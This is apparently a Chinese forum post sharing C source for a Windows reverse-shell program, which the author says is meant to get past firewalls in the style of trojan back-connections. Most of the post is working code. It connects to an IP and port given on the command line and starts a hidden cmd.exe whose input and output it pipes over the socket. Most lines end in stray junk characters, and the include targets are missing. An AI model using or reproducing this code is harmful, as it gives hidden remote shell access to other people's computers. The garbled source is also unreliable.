这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 |Cen5s
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/* ============================== Z&.FJZUP
Rebound port in Windows NT *E$D,
By wind,2006/7 zZf#E@=$|
===============================*/ !o.g2
#include
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#include 2}}~\C}o+
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#pragma comment(lib,"wsock32.lib") ZnJnjW PQ
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void OutputShell(); '6xn!dK
SOCKET sClient; VS}Vl
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; @{nT4{
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void main(int argc,char **argv) 1%-?e``.
{ MiSFT5$v6
WSADATA stWsaData; Ab(bvS8r$
int nRet; Cog:6Gnw
SOCKADDR_IN stSaiClient,stSaiServer; c3
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if(argc != 3) _X]?
{ vW4f 3(/
printf("Useage:\n\rRebound DestIP DestPort\n"); -_4! id
return; aoJ&< vl3
} {;-$;\D
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WSAStartup(MAKEWORD(2,2),&stWsaData); yGD0}\!n
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xeHu-J!P
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stSaiClient.sin_family = AF_INET; sP+S86
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stSaiClient.sin_port = htons(0); BFEo:!'F
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); NKB!_R+
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ]3I_H+hU
{ N9*$'
printf("Bind Socket Failed!\n"); tP:xx2N_
return; DX!$k[
} 6g.@I!j E
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stSaiServer.sin_family = AF_INET; zh4o<f:-
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); snK9']WXo
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); H~$|y9>qI
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) XG[%oL
{ R1wdQ8q
printf("Connect Error!"); MRC5c:(
return; e1IuobT
} /0\pPc*kA{
OutputShell(); S\X_!|
} $jzk4V
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void OutputShell() H{}6`;W
{ ]':C~-RV{
char szBuff[1024]; 0SDCo\
SECURITY_ATTRIBUTES stSecurityAttributes; AVJF[t ,
OSVERSIONINFO stOsversionInfo; # / 4Wcz<
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; -Kc-eU-&q
STARTUPINFO stStartupInfo; w%ip"GT,
char *szShell; ^Gyl:hN
PROCESS_INFORMATION stProcessInformation; %kUJ:lg;d
unsigned long lBytesRead; !*cf}<Kmw
},"g*
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); vIG,!^*3
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); y>#j4%D~4
stSecurityAttributes.lpSecurityDescriptor = 0; m2}&5vD8-
stSecurityAttributes.bInheritHandle = TRUE; %EpK=;51U
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \.{JS>!
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); YW'Y=*
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ~q4y'dBy*
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [6Wr
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stStartupInfo.wShowWindow = SW_HIDE; EtL=_D-
stStartupInfo.hStdInput = hReadPipe; 4-"wFp
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; XmnqZWB
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GetVersionEx(&stOsversionInfo); Y.73I83-j
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switch(stOsversionInfo.dwPlatformId) '|cuVxcE55
{ B8nXWi
case 1: cshUxabB
szShell = "command.com";
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break; H}@|ucM"\
default: 2KG j !w
szShell = "cmd.exe"; p<+]+,|\~:
break; f*I5m=
} tyDtwV|
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); m0edkt-x
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send(sClient,szMsg,77,0); ZN)/doK
while(1) SB;Wa%
{ >}I}9y+
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); y,
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if(lBytesRead) =#u2Rx%V
{ h1Lp:@:|
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); jn7}jWA
send(sClient,szBuff,lBytesRead,0); $-y+97
} 646yeQ1
else M&K@><6k,k
{ ufJFS+?
lBytesRead=recv(sClient,szBuff,1024,0); IQ_0[
if(lBytesRead<=0) break; Cjh&$aq
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Q?>#sN,
} 01dx}L@hz
} 8fN0"pymo
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return; zZxP=
c
}